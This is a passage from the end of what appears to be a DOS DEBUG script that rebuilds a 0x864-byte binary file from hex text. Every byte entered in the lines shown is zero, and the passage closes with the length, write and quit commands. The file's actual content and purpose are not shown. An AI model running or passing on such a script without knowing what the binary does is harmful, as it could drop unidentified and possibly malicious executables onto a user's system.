  696. e 0720  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  697. e 0730  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  698. e 0740  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  699. e 0750  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  700. e 0760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  701. e 0770  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  702. e 0780  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  703. e 0790  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  704. e 07A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  705. e 07B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  706. e 07C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  707. e 07D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  708. e 07E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  709. e 07F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  710. e 0800  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  711. e 0810  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  712. e 0820  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  713. e 0830  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  714. e 0840  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  715. e 0850  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  716. e 0860  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  717. e 0870  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  718. e 0880  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  719. e 0890  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  720. e 08A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  721. e 08B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  722. e 08C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  723. e 08D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  724. e 08E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  725. e 08F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  726. e 0900  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  727. e 0910  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  728. e 0920  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  729. e 0930  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  730. e 0940  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  731. e 0950  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  732. e 0960  00 00 00 00 
  733.  
  734. rcx
  735. 0864
  736. w
  737. q
  738. -------------------------------------------------------------------------------
  739.  
  740.